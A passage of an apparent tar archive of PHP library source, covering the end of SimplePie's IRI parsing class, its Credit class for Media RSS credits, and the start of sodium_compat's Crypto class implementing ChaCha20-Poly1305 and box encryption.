                $string .= '%' . strtoupper($bytes[$j]);
            }
        }

        return $string;
    }

    /**
     * @return void
     */
    protected function scheme_normalization()
    {
        if ($this->scheme === null) {
            return;
        }

        if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
            $this->iuserinfo = null;
        }
        if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
            $this->ihost = null;
        }
        if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
            $this->port = null;
        }
        if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
            $this->ipath = '';
        }
        if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
            $this->iquery = null;
        }
        if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
            $this->ifragment = null;
        }
    }

    /**
     * Check if the object represents a valid IRI. This needs to be done on each
     * call as some things change depending on another part of the IRI.
     *
     * @return bool
     */
    public function is_valid()
    {
        if ($this->ipath === '') {
            return true;
        }

        $isauthority = $this->iuserinfo !== null || $this->ihost !== null ||
            $this->port !== null;
        if ($isauthority && $this->ipath[0] === '/') {
            return true;
        }

        if (!$isauthority && (substr($this->ipath, 0, 2) === '//')) {
            return false;
        }

        // Relative urls cannot have a colon in the first path segment (and the
        // slashes themselves are not included so skip the first character).
        if (!$this->scheme && !$isauthority &&
            strpos($this->ipath, ':') !== false &&
            strpos($this->ipath, '/', 1) !== false &&
            strpos($this->ipath, ':') < strpos($this->ipath, '/', 1)) {
            return false;
        }

        return true;
    }

    /**
     * Set the entire IRI. Returns true on success, false on failure (if there
     * are any invalid characters).
     *
     * @param string|null $iri
     * @return bool
     */
    public function set_iri(?string $iri, bool $clear_cache = false)
    {
        static $cache;
        if ($clear_cache) {
            $cache = null;
            return false;
        }
        if (!$cache) {
            $cache = [];
        }

        if ($iri === null) {
            return true;
        } elseif (isset($cache[$iri])) {
            [
                $this->scheme,
                $this->iuserinfo,
                $this->ihost,
                $this->port,
                $this->ipath,
                $this->iquery,
                $this->ifragment,
                $return
            ] = $cache[$iri];

            return $return;
        }

        $parsed = $this->parse_iri((string) $iri);
        if (!$parsed) {
            return false;
        }

        $return = $this->set_scheme($parsed['scheme'])
            && $this->set_authority($parsed['authority'])
            && $this->set_path($parsed['path'])
            && $this->set_query($parsed['query'])
            && $this->set_fragment($parsed['fragment']);

        $cache[$iri] = [
            $this->scheme,
            $this->iuserinfo,
            $this->ihost,
            $this->port,
            $this->ipath,
            $this->iquery,
            $this->ifragment,
            $return
        ];

        return $return;
    }

    /**
     * Set the scheme. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string|null $scheme
     * @return bool
     */
    public function set_scheme(?string $scheme)
    {
        if ($scheme === null) {
            $this->scheme = null;
        } elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
            $this->scheme = null;
            return false;
        } else {
            $this->scheme = strtolower($scheme);
        }
        return true;
    }

    /**
     * Set the authority. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string|null $authority
     * @return bool
     */
    public function set_authority(?string $authority, bool $clear_cache = false)
    {
        static $cache;
        if ($clear_cache) {
            $cache = null;
            return false;
        }
        if (!$cache) {
            $cache = [];
        }

        if ($authority === null) {
            $this->iuserinfo = null;
            $this->ihost = null;
            $this->port = null;
            return true;
        } elseif (isset($cache[$authority])) {
            [
                $this->iuserinfo,
                $this->ihost,
                $this->port,
                $return
            ] = $cache[$authority];

            return $return;
        }

        $remaining = $authority;
        if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
            // Cast for PHPStan on PHP < 8.0. It does not detect that
            // the range is not flipped so substr cannot return false.
            $iuserinfo = (string) substr($remaining, 0, $iuserinfo_end);
            $remaining = substr($remaining, $iuserinfo_end + 1);
        } else {
            $iuserinfo = null;
        }
        if (($port_start = strpos($remaining, ':', intval(strpos($remaining, ']')))) !== false) {
            $port = substr($remaining, $port_start + 1);
            if ($port === false) {
                $port = null;
            }
            $remaining = substr($remaining, 0, $port_start);
        } else {
            $port = null;
        }

        $return = $this->set_userinfo($iuserinfo) &&
                  $this->set_host($remaining) &&
                  $this->set_port($port);

        $cache[$authority] = [
            $this->iuserinfo,
            $this->ihost,
            $this->port,
            $return
        ];

        return $return;
    }

    /**
     * Set the iuserinfo.
     *
     * @param string|null $iuserinfo
     * @return bool
     */
    public function set_userinfo(?string $iuserinfo)
    {
        if ($iuserinfo === null) {
            $this->iuserinfo = null;
        } else {
            $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
            $this->scheme_normalization();
        }

        return true;
    }

    /**
     * Set the ihost. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string|null $ihost
     * @return bool
     */
    public function set_host(?string $ihost)
    {
        if ($ihost === null) {
            $this->ihost = null;
            return true;
        } elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
            if (\SimplePie\Net\IPv6::check_ipv6(substr($ihost, 1, -1))) {
                $this->ihost = '[' . \SimplePie\Net\IPv6::compress(substr($ihost, 1, -1)) . ']';
            } else {
                $this->ihost = null;
                return false;
            }
        } else {
            $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');

            // Lowercase, but ignore pct-encoded sections (as they should
            // remain uppercase). This must be done after the previous step
            // as that can add unescaped characters.
            $position = 0;
            $strlen = strlen($ihost);
            while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
                if ($ihost[$position] === '%') {
                    $position += 3;
                } else {
                    $ihost[$position] = strtolower($ihost[$position]);
                    $position++;
                }
            }

            $this->ihost = $ihost;
        }

        $this->scheme_normalization();

        return true;
    }

    /**
     * Set the port. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string|int|null $port
     * @return bool
     */
    public function set_port($port)
    {
        if ($port === null) {
            $this->port = null;
            return true;
        } elseif (strspn((string) $port, '0123456789') === strlen((string) $port)) {
            $this->port = (int) $port;
            $this->scheme_normalization();
            return true;
        }

        $this->port = null;
        return false;
    }

    /**
     * Set the ipath.
     *
     * @param string|null $ipath
     * @return bool
     */
    public function set_path(?string $ipath, bool $clear_cache = false)
    {
        static $cache;
        if ($clear_cache) {
            $cache = null;
            return false;
        }
        if (!$cache) {
            $cache = [];
        }

        $ipath = (string) $ipath;

        if (isset($cache[$ipath])) {
            $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
        } else {
            $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
            $removed = $this->remove_dot_segments($valid);

            $cache[$ipath] = [$valid, $removed];
            $this->ipath =  ($this->scheme !== null) ? $removed : $valid;
        }

        $this->scheme_normalization();
        return true;
    }

    /**
     * Set the iquery.
     *
     * @param string|null $iquery
     * @return bool
     */
    public function set_query(?string $iquery)
    {
        if ($iquery === null) {
            $this->iquery = null;
        } else {
            $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
            $this->scheme_normalization();
        }
        return true;
    }

    /**
     * Set the ifragment.
     *
     * @param string|null $ifragment
     * @return bool
     */
    public function set_fragment(?string $ifragment)
    {
        if ($ifragment === null) {
            $this->ifragment = null;
        } else {
            $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
            $this->scheme_normalization();
        }
        return true;
    }

    /**
     * Convert an IRI to a URI (or parts thereof)
     *
     * @param string $string
     * @return string
     */
    public function to_uri(string $string)
    {
        static $non_ascii;
        if (!$non_ascii) {
            $non_ascii = implode('', range("\x80", "\xFF"));
        }

        $position = 0;
        $strlen = strlen($string);
        while (($position += strcspn($string, $non_ascii, $position)) < $strlen) {
            $string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1);
            $position += 3;
            $strlen += 2;
        }

        return $string;
    }

    /**
     * Get the complete IRI
     *
     * @return string|false
     */
    public function get_iri()
    {
        if (!$this->is_valid()) {
            return false;
        }

        $iri = '';
        if ($this->scheme !== null) {
            $iri .= $this->scheme . ':';
        }
        if (($iauthority = $this->get_iauthority()) !== null) {
            $iri .= '//' . $iauthority;
        }
        if ($this->ipath !== '') {
            $iri .= $this->ipath;
        } elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '') {
            $iri .= $this->normalization[$this->scheme]['ipath'];
        }
        if ($this->iquery !== null) {
            $iri .= '?' . $this->iquery;
        }
        if ($this->ifragment !== null) {
            $iri .= '#' . $this->ifragment;
        }

        return $iri;
    }

    /**
     * Get the complete URI
     *
     * @return string
     */
    public function get_uri()
    {
        return $this->to_uri((string) $this->get_iri());
    }

    /**
     * Get the complete iauthority
     *
     * @return ?string
     */
    protected function get_iauthority()
    {
        if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null) {
            $iauthority = '';
            if ($this->iuserinfo !== null) {
                $iauthority .= $this->iuserinfo . '@';
            }
            if ($this->ihost !== null) {
                $iauthority .= $this->ihost;
            }
            if ($this->port !== null && $this->port !== 0) {
                $iauthority .= ':' . $this->port;
            }
            return $iauthority;
        }

        return null;
    }

    /**
     * Get the complete authority
     *
     * @return ?string
     */
    protected function get_authority()
    {
        $iauthority = $this->get_iauthority();
        if (is_string($iauthority)) {
            return $this->to_uri($iauthority);
        }

        return $iauthority;
    }
}

class_alias('SimplePie\IRI', 'SimplePie_IRI');
Credit.php000064400000004140152222652070006471 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles `<media:credit>` as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_credit()} and {@see \SimplePie\Enclosure::get_credits()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_credit_class()}
 */
class Credit
{
    /**
     * Credited role
     *
     * @var ?string
     * @see get_role()
     */
    public $role;

    /**
     * Organizational scheme
     *
     * @var ?string
     * @see get_scheme()
     */
    public $scheme;

    /**
     * Credited name
     *
     * @var ?string
     * @see get_name()
     */
    public $name;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct(
        ?string $role = null,
        ?string $scheme = null,
        ?string $name = null
    ) {
        $this->role = $role;
        $this->scheme = $scheme;
        $this->name = $name;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the role of the person receiving credit
     *
     * @return string|null
     */
    public function get_role()
    {
        if ($this->role !== null) {
            return $this->role;
        }

        return null;
    }

    /**
     * Get the organizational scheme
     *
     * @return string|null
     */
    public function get_scheme()
    {
        if ($this->scheme !== null) {
            return $this->scheme;
        }

        return null;
    }

    /**
     * Get the credited person/entity's name
     *
     * @return string|null
     */
    public function get_name()
    {
        if ($this->name !== null) {
            return $this->name;
        }

        return null;
    }
}

class_alias('SimplePie\Credit', 'SimplePie_Credit');
Crypto.php000064400000153264152222652550006556 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Crypto', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Crypto
 *
 * ATTENTION!
 *
 * If you are using this library, you should be using
 * ParagonIE_Sodium_Compat in your code, not this class.
 */
abstract class ParagonIE_Sodium_Crypto
{
    const aead_chacha20poly1305_KEYBYTES = 32;
    const aead_chacha20poly1305_NSECBYTES = 0;
    const aead_chacha20poly1305_NPUBBYTES = 8;
    const aead_chacha20poly1305_ABYTES = 16;

    const aead_chacha20poly1305_IETF_KEYBYTES = 32;
    const aead_chacha20poly1305_IETF_NSECBYTES = 0;
    const aead_chacha20poly1305_IETF_NPUBBYTES = 12;
    const aead_chacha20poly1305_IETF_ABYTES = 16;

    const aead_xchacha20poly1305_IETF_KEYBYTES = 32;
    const aead_xchacha20poly1305_IETF_NSECBYTES = 0;
    const aead_xchacha20poly1305_IETF_NPUBBYTES = 24;
    const aead_xchacha20poly1305_IETF_ABYTES = 16;

    const box_curve25519xsalsa20poly1305_SEEDBYTES = 32;
    const box_curve25519xsalsa20poly1305_PUBLICKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_SECRETKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_BEFORENMBYTES = 32;
    const box_curve25519xsalsa20poly1305_NONCEBYTES = 24;
    const box_curve25519xsalsa20poly1305_MACBYTES = 16;
    const box_curve25519xsalsa20poly1305_BOXZEROBYTES = 16;
    const box_curve25519xsalsa20poly1305_ZEROBYTES = 32;

    const onetimeauth_poly1305_BYTES = 16;
    const onetimeauth_poly1305_KEYBYTES = 32;

    const secretbox_xsalsa20poly1305_KEYBYTES = 32;
    const secretbox_xsalsa20poly1305_NONCEBYTES = 24;
    const secretbox_xsalsa20poly1305_MACBYTES = 16;
    const secretbox_xsalsa20poly1305_BOXZEROBYTES = 16;
    const secretbox_xsalsa20poly1305_ZEROBYTES = 32;

    const secretbox_xchacha20poly1305_KEYBYTES = 32;
    const secretbox_xchacha20poly1305_NONCEBYTES = 24;
    const secretbox_xchacha20poly1305_MACBYTES = 16;
    const secretbox_xchacha20poly1305_BOXZEROBYTES = 16;
    const secretbox_xchacha20poly1305_ZEROBYTES = 32;

    const stream_salsa20_KEYBYTES = 32;

    /**
     * AEAD Decryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_ABYTES;

        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $message,
            $clen,
            self::aead_chacha20poly1305_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 0, $clen);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            32,
            $nonce,
            $key
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES;

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $message,
            $len - self::aead_chacha20poly1305_IETF_ABYTES,
            self::aead_chacha20poly1305_IETF_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr(
            $message,
            0,
            $len - self::aead_chacha20poly1305_IETF_ABYTES
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf)));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws TypeError
     */
    public static function auth($message, $key)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            hash_hmac('sha512', $message, $key, true),
            0,
            32
        );
    }

    /**
     * HMAC-SHA-512-256 validation. Constant-time via hash_equals().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Core_Util::hashEquals(
            $mac,
            self::auth($message, $key)
        );
    }

    /**
     * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box($plaintext, $nonce, $keypair)
    {
        $c = self::secretbox(
            $plaintext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
        return $c;
    }

    /**
     * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal($message, $publicKey)
    {
        /** @var string $ephemeralKeypair */
        $ephemeralKeypair = self::box_keypair();

        /** @var string $ephemeralSK */
        $ephemeralSK = self::box_secretkey($ephemeralKeypair);

        /** @var string $ephemeralPK */
        $ephemeralPK = self::box_publickey($ephemeralKeypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair - The combined keypair used in crypto_box() */
        $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey);

        /** @var string $ciphertext Ciphertext + MAC from crypto_box */
        $ciphertext = self::box($message, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($ephemeralKeypair);
            ParagonIE_Sodium_Compat::memzero($ephemeralSK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $ephemeralKeypair = null;
            $ephemeralSK = null;
            $nonce = null;
        }
        return $ephemeralPK . $ciphertext;
    }

    /**
     * Opens a message encrypted via box_seal().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open($message, $keypair)
    {
        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Core_Util::substr($message, 0, 32);

        /** @var string $ciphertext (ciphertext + MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 32);

        /** @var string $secretKey */
        $secretKey = self::box_secretkey($keypair);

        /** @var string $publicKey */
        $publicKey = self::box_publickey($keypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair */
        $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK);

        /** @var string $m */
        $m = self::box_open($ciphertext, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($secretKey);
            ParagonIE_Sodium_Compat::memzero($ephemeralPK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $secretKey = null;
            $ephemeralPK = null;
            $nonce = null;
        }
        return $m;
    }

    /**
     * Used by crypto_box() to get the crypto_secretbox() key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_beforenm($sk, $pk)
    {
        return ParagonIE_Sodium_Core_HSalsa20::hsalsa20(
            str_repeat("\x00", 16),
            self::scalarmult($sk, $pk)
        );
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @return string
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_keypair()
    {
        $sKey = random_bytes(32);
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seed_keypair($seed)
    {
        $sKey = ParagonIE_Sodium_Core_Util::substr(
            hash('sha512', $seed, true),
            0,
            32
        );
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     * @throws TypeError
     */
    public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey)
    {
        return ParagonIE_Sodium_Core_Util::substr($sKey, 0, 32) .
            ParagonIE_Sodium_Core_Util::substr($pKey, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_secretkey($keypair)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== 64) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core_Util::substr($keypair, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_publickey($keypair)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core_Util::substr($keypair, 32, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_publickey_from_secretkey($sKey)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.'
            );
        }
        return self::scalarmult_base($sKey);
    }

    /**
     * Decrypt a message encrypted with box().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open($ciphertext, $nonce, $keypair)
    {
        return self::secretbox_open(
            $ciphertext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * Calculate a BLAKE2b hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string|null $key
     * @param int $outlen
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash($message, $key = '', $outlen = 32)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
